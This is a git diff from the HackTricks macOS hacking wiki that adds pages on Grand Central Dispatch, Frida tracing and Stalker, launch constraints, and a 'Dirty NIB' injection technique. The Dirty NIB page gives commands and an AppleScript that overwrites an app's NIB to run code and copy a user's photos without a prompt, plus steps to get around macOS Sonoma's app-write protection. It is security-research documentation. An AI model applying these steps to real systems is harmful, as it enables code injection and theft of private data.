GITBOOK-4116: change request with no subject merged in GitBook
BIN
.gitbook/assets/image (681).png
Normal file
After Width: | Height: | Size: 27 KiB |
BIN
.gitbook/assets/image (682).png
Normal file
After Width: | Height: | Size: 23 KiB |
BIN
.gitbook/assets/image (683).png
Normal file
After Width: | Height: | Size: 65 KiB |
BIN
.gitbook/assets/image (684).png
Normal file
After Width: | Height: | Size: 106 KiB |
BIN
.gitbook/assets/image (685).png
Normal file
After Width: | Height: | Size: 186 KiB |
BIN
.gitbook/assets/image (686).png
Normal file
After Width: | Height: | Size: 18 KiB |
BIN
.gitbook/assets/image (687).png
Normal file
After Width: | Height: | Size: 109 KiB |
BIN
.gitbook/assets/image (688).png
Normal file
After Width: | Height: | Size: 102 KiB |
BIN
.gitbook/assets/image (689).png
Normal file
After Width: | Height: | Size: 102 KiB |
BIN
.gitbook/assets/image (690).png
Normal file
After Width: | Height: | Size: 68 KiB |
BIN
.gitbook/assets/image (691).png
Normal file
After Width: | Height: | Size: 54 KiB |
BIN
.gitbook/assets/image (692).png
Normal file
After Width: | Height: | Size: 113 KiB |
BIN
.gitbook/assets/image (693).png
Normal file
After Width: | Height: | Size: 100 KiB |
BIN
.gitbook/assets/image (694).png
Normal file
After Width: | Height: | Size: 179 KiB |
|
@ -147,6 +147,7 @@
|
|||
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
|
||||
* [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
|
||||
* [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
|
||||
* [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
|
||||
* [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
|
||||
* [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
|
||||
* [macOS System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md)
|
||||
|
@ -160,6 +161,9 @@
|
|||
* [macOS Universal binaries & Mach-O Format](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)
|
||||
* [macOS Objective-C](macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md)
|
||||
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
|
||||
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
|
||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
||||
|
@ -167,11 +171,9 @@
|
|||
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check.md)
|
||||
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md)
|
||||
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||
* [macOS .Net Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md)
|
||||
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
* [macOS .Net Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md)
|
||||
* [macOS Security Protections](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md)
|
||||
* [macOS Gatekeeper](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md)
|
||||
* [macOS SIP](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md)
|
||||
|
|
|
@ -0,0 +1,174 @@
|
|||
# macOS GCD - Grand Central Dispatch
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Grand Central Dispatch (GCD),** also known as **libdispatch**, is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware.
|
||||
|
||||
**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores.
|
||||
|
||||
{% hint style="success" %}
|
||||
In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads**.
|
||||
{% endhint %}
|
||||
|
||||
This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is idea for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way.
|
||||
|
||||
## Objective-C
|
||||
|
||||
In Objetive-C there are different functions to send a block to be executed in parallel:
|
||||
|
||||
* [**dispatch\_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch\_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately.
|
||||
* [**dispatch\_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch\_sync): Submits a block object for execution and returns after that block finishes executing.
|
||||
* [**dispatch\_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch\_once): Executes a block object only once for the lifetime of an application.
|
||||
* [**dispatch\_async\_and\_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch\_async\_and\_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch\_sync), this function respects all attributes of the queue when it executes the block.
|
||||
|
||||
These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch\_queue\_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch\_block\_t) **`block`**
|
||||
|
||||
This is the **struct of a Block**:
|
||||
|
||||
```c
|
||||
struct Block {
|
||||
void *isa; // NSConcreteStackBlock,...
|
||||
int flags;
|
||||
int reserved;
|
||||
void *invoke;
|
||||
struct BlockDescriptor *descriptor;
|
||||
// captured variables go here
|
||||
};
|
||||
```
|
||||
|
||||
And this is an example to use **parallelism** with **`dispatch_async`**:
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
// Define a block
|
||||
void (^backgroundTask)(void) = ^{
|
||||
// Code to be executed in the background
|
||||
for (int i = 0; i < 10; i++) {
|
||||
NSLog(@"Background task %d", i);
|
||||
sleep(1); // Simulate a long-running task
|
||||
}
|
||||
};
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Create a dispatch queue
|
||||
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
|
||||
|
||||
// Submit the block to the queue for asynchronous execution
|
||||
dispatch_async(backgroundQueue, backgroundTask);
|
||||
|
||||
// Continue with other work on the main queue or thread
|
||||
for (int i = 0; i < 10; i++) {
|
||||
NSLog(@"Main task %d", i);
|
||||
sleep(1); // Simulate a long-running task
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
## Swift
|
||||
|
||||
**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\
|
||||
The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD.
|
||||
|
||||
* **`DispatchQueue.global().sync{ ... }`**
|
||||
* **`DispatchQueue.global().async{ ... }`**
|
||||
* **`let onceToken = DispatchOnce(); onceToken.perform { ... }`**
|
||||
* **`async await`**
|
||||
* **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
|
||||
|
||||
**Code example**:
|
||||
|
||||
```swift
|
||||
import Foundation
|
||||
|
||||
// Define a closure (the Swift equivalent of a block)
|
||||
let backgroundTask: () -> Void = {
|
||||
for i in 0..<10 {
|
||||
print("Background task \(i)")
|
||||
sleep(1) // Simulate a long-running task
|
||||
}
|
||||
}
|
||||
|
||||
// Entry point
|
||||
autoreleasepool {
|
||||
// Create a dispatch queue
|
||||
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
|
||||
|
||||
// Submit the closure to the queue for asynchronous execution
|
||||
backgroundQueue.async(execute: backgroundTask)
|
||||
|
||||
// Continue with other work on the main queue
|
||||
for i in 0..<10 {
|
||||
print("Main task \(i)")
|
||||
sleep(1) // Simulate a long-running task
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Frida
|
||||
|
||||
The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
|
||||
|
||||
```bash
|
||||
frida -U <prog_name> -l libdispatch.js
|
||||
|
||||
dispatch_sync
|
||||
Calling queue: com.apple.UIKit._UIReusePool.reuseSetAccess
|
||||
Callback function: 0x19e3a6488 UIKitCore!__26-[_UIReusePool addObject:]_block_invoke
|
||||
Backtrace:
|
||||
0x19e3a6460 UIKitCore!-[_UIReusePool addObject:]
|
||||
0x19e3a5db8 UIKitCore!-[UIGraphicsRenderer _enqueueContextForReuse:]
|
||||
0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:]
|
||||
[...]
|
||||
```
|
||||
|
||||
## Ghidra
|
||||
|
||||
Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one.
|
||||
|
||||
So if you want it to understand them, you could just **declare them**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (688).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (690).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (691).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Then, find a place in the code where they are **used**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (692).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (693).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Ghidra will automatically rewrite everything:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (694).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -48,6 +48,14 @@ Electron applications executed with specific env variables could be vulnerable t
|
|||
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Dirty NIB
|
||||
|
||||
NIB files **define user interface (UI) elements** and their interactions within an application. However, they can **execute arbitrary commands** and **Gatekeeper doesn't stop** an already executed application from being executed if a **NIB file is modified**. Therefore, they could be used to make arbitrary programs execute arbitrary commands:
|
||||
|
||||
{% content-ref url="macos-dirty-nib.md" %}
|
||||
[macos-dirty-nib.md](macos-dirty-nib.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### .Net Applications Injection
|
||||
|
||||
It's possible to inject code into .Net applications by **abusing the .Net debugging functionality** (not protected by macOS protections such as runtime hardening).
|
||||
|
|
|
@ -0,0 +1,126 @@
|
|||
# macOS Dirty NIB
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**This technique was taken from the post** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)
|
||||
|
||||
## Basic Information
|
||||
|
||||
NIB files are used in Apple's development ecosystem to **define user interface (UI) elements** and their interactions within an application. Created with the Interface Builder tool, they contain **serialized objects** like windows, buttons, and text fields, which are loaded at runtime to present the designed UI. Although still in use, Apple has transitioned towards recommending Storyboards for a more visual representation of an application's UI flow.
|
||||
|
||||
|
||||
|
||||
{% hint style="danger" %}
|
||||
Moreover, **NIB files** can also be used to **run arbitrary commands** and if NIB file is modified in an App, **Gatekeeper will still allow to execute the app**, so they can be used to r**un arbitrary commands inside applications**.
|
||||
{% endhint %}
|
||||
|
||||
## Dirty NIB Injection <a href="#dirtynib" id="dirtynib"></a>
|
||||
|
||||
First we need to create a new NIB file, we’ll use XCode for the bulk of the construction. We start by adding an Object to the interface and set the class to NSAppleScript:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (681).png" alt="" width="380"><figcaption></figcaption></figure>
|
||||
|
||||
For the object we need to set the initial `source` property, which we can do using User Defined Runtime Attributes:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (682).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
This sets up our code execution gadget, which is just going to **run AppleScript on request**. To actually trigger the execution of the AppleScript, we’ll just add in a button for now (you can of course get creative with this ;). The button will bind to the `Apple Script` object we just created, and will **invoke the `executeAndReturnError:` selector**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (683).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
For testing we’ll just use the Apple Script of:
|
||||
|
||||
```bash
|
||||
set theDialogText to "PWND"
|
||||
display dialog theDialogText
|
||||
```
|
||||
|
||||
And if we run this in XCode debugger and hit the button:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (684).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
With our ability to execute arbitrary AppleScript code from a NIB, we next need a target. Let’s choose Pages for our initial demo, which is of course an Apple application and certainly shouldn’t be modifiable by us.
|
||||
|
||||
We’ll first take a copy of the application into `/tmp/`:
|
||||
|
||||
```bash
|
||||
cp -a -X /Applications/Pages.app /tmp/
|
||||
```
|
||||
|
||||
Then we’ll launch the application to avoid any Gatekeeper issues and allow things to be cached:
|
||||
|
||||
```bash
|
||||
open -W -g -j /Applications/Pages.app
|
||||
```
|
||||
|
||||
After launching (and killing) the app the first time, we’ll need to overwrite an existing NIB file with our DirtyNIB file. For demo purposes, we’re just going to overwrite the About Panel NIB so we can control the execution:
|
||||
|
||||
```bash
|
||||
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
|
||||
```
|
||||
|
||||
Once we’ve overwritten the nib, we can trigger execution by selecting the `About` menu item:\
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (685).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
If we look at Pages a bit closer, we see that it has a private entitlement to allow access to a users Photos:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (686).png" alt="" width="479"><figcaption></figcaption></figure>
|
||||
|
||||
So we can put our POC to the test by **modifying our AppleScript to steal photos** from the user without prompting:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```applescript
|
||||
use framework "Cocoa"
|
||||
use framework "Foundation"
|
||||
|
||||
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
|
||||
|
||||
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
[**Malicious .xib file that executes arbitrary code example.**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)
|
||||
{% endhint %}
|
||||
|
||||
## Launch Constrains
|
||||
|
||||
They basically **prevent executing applications outside of their expected locations**, so if you copy an application protected by Launch Constrains to `/tmp` you won't be able to execute it.\
|
||||
[**Find more information in this post**](../macos-security-protections/#launch-constraints)**.**
|
||||
|
||||
However, parsing the file **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`** you can still find **applications that aren't protected by Launch Constrains** so can could still **inject** **NIB** files in arbitrary locations into **those** (check the previous link to learn how to find these apps).
|
||||
|
||||
## Extra Protections
|
||||
|
||||
From macOS Somona, there are some protections **preventing to write inside Apps**. However, it's still possible to bypass this protection if, before running your copy of the binary, you change the name of the Contents folder:
|
||||
|
||||
1. Take a copy of `CarPlay Simulator.app` to `/tmp/`
|
||||
2. Rename `/tmp/Carplay Simulator.app/Contents` to `/tmp/CarPlay Simulator.app/NotCon`
|
||||
3. Launch the binary `/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator` to cache within Gatekeeper
|
||||
4. Overwrite `NotCon/Resources/Base.lproj/MainMenu.nib` with our `Dirty.nib` file
|
||||
5. Rename to `/tmp/CarPlay Simulator.app/Contents`
|
||||
6. Launch `CarPlay Simulator.app` again
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -67,11 +67,25 @@ When an application or executable file tries to run on macOS, the operating syst
|
|||
|
||||
## Launch Constraints
|
||||
|
||||
It controls from where and what can launch an Apple signed binary:
|
||||
It controls **from where and what** can launch an **Apple signed binary**:
|
||||
|
||||
* You can't launch an app directly if should be run by launchd
|
||||
* You can't run an app outside of the trusted location (like /System/)
|
||||
|
||||
The file that contains information about this constrains is located in macOS in **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`** (and in iOS it looks like it's in **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**).
|
||||
|
||||
It looks like it was possible to use the tool [**img4tool**](https://github.com/tihmstar/img4tool) **to extract the cache**:
|
||||
|
||||
```bash
|
||||
img4tool -e in.img4 -o out.bin
|
||||
```
|
||||
|
||||
(However, I haven't been able to compile it in M1).
|
||||
|
||||
Then, you could use a script such as [**this one**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) to extract data.
|
||||
|
||||
From that data you can check the Apps with a **launch constraints value of `0`** , which are the ones that aren't constrained ([**check here**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) for what each value is).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
|
|
@ -46,15 +46,29 @@ frida-ps -Uia # Get running processes
|
|||
## Frida Trace
|
||||
|
||||
```bash
|
||||
# Trace all methods of all classes
|
||||
# Functions
|
||||
## Trace all functions with the word "log" in their name
|
||||
frida-trace -U <program> -i "*log*"
|
||||
frida-trace -U <program> -i "*log*" | swift demangle # Demangle names
|
||||
|
||||
# Objective-C
|
||||
## Trace all methods of all classes
|
||||
frida-trace -U <program> -m "*[* *]"
|
||||
|
||||
# Trace all methods with the word "authentication" from classes that start with "NE"
|
||||
## Trace all methods with the word "authentication" from classes that start with "NE"
|
||||
frida-trace -U <program> -m "*[NE* *authentication*]"
|
||||
|
||||
# Plug-In
|
||||
## To hook a plugin that is momentarely executed prepare Frida indicating the ID of the Plugin binary
|
||||
frida-trace -U -W <if-plugin-bin> -m '*[* *]'
|
||||
```
|
||||
|
||||
### Get all classes and methods
|
||||
|
||||
* Auto complete: Just execute `frida -U <program>`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (687).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Get **all** available **classes** (filter by string)
|
||||
|
||||
{% code title="/tmp/script.js" %}
|
||||
|
@ -103,6 +117,250 @@ if (ObjC.available) {
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* **Call a function**
|
||||
|
||||
```javascript
|
||||
// Find the address of the function to call
|
||||
const func_addr = Module.findExportByName("<Prog Name>", "<Func Name>");
|
||||
// Declare the function to call
|
||||
const func = new NativeFunction(
|
||||
func_addr,
|
||||
"void", ["pointer", "pointer", "pointer"], {
|
||||
});
|
||||
|
||||
var arg0 = null;
|
||||
|
||||
// In this case to call this function we need to intercept a call to it to copy arg0
|
||||
Interceptor.attach(wg_log_addr, {
|
||||
onEnter: function(args) {
|
||||
arg0 = new NativePointer(args[0]);
|
||||
}
|
||||
});
|
||||
|
||||
// Wait untill a call to the func occurs
|
||||
while (! arg0) {
|
||||
Thread.sleep(1);
|
||||
console.log("waiting for ptr");
|
||||
}
|
||||
|
||||
|
||||
var arg1 = Memory.allocUtf8String('arg1');
|
||||
var txt = Memory.allocUtf8String('Some text for arg2');
|
||||
wg_log(arg0, arg1, txt);
|
||||
|
||||
console.log("loaded");
|
||||
```
|
||||
|
||||
## Frida Fuzzing
|
||||
|
||||
### Frida Stalker
|
||||
|
||||
Stalker is Frida’s code **tracing engine**. It allows threads to be **followed**, **capturing** every function, **every block**, even every instruction which is executed.
|
||||
|
||||
You have an example implementing Frida Stalker in [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
|
||||
|
||||
This is another example to attach Frida Stalker every time a function is called:
|
||||
|
||||
```javascript
|
||||
console.log("loading");
|
||||
const wg_log_addr = Module.findExportByName("<Program>", "<function_name>");
|
||||
const wg_log = new NativeFunction(
|
||||
wg_log_addr,
|
||||
"void", ["pointer", "pointer", "pointer"], {
|
||||
});
|
||||
|
||||
Interceptor.attach(wg_log_addr, {
|
||||
onEnter: function(args) {
|
||||
console.log(`logging the following message: ${args[2].readCString()}`);
|
||||
|
||||
Stalker.follow({
|
||||
events: {
|
||||
// only collect coverage for newly encountered blocks
|
||||
compile: true,
|
||||
},
|
||||
onReceive: function (events) {
|
||||
const bbs = Stalker.parse(events, {
|
||||
stringify: false,
|
||||
annotate: false
|
||||
});
|
||||
console.log("Stalker trace of write_msg_to_log: \n" + bbs.flat().map(DebugSymbol.fromAddress).join('\n'));
|
||||
}
|
||||
});
|
||||
},
|
||||
onLeave: function(retval) {
|
||||
Stalker.unfollow();
|
||||
Stalker.flush(); // this is important to get all events
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
This is interesting from debugging purposes but for fuzzing, to be constantly **`.follow()`** and **`.unfollow()`** is very inefficient.
|
||||
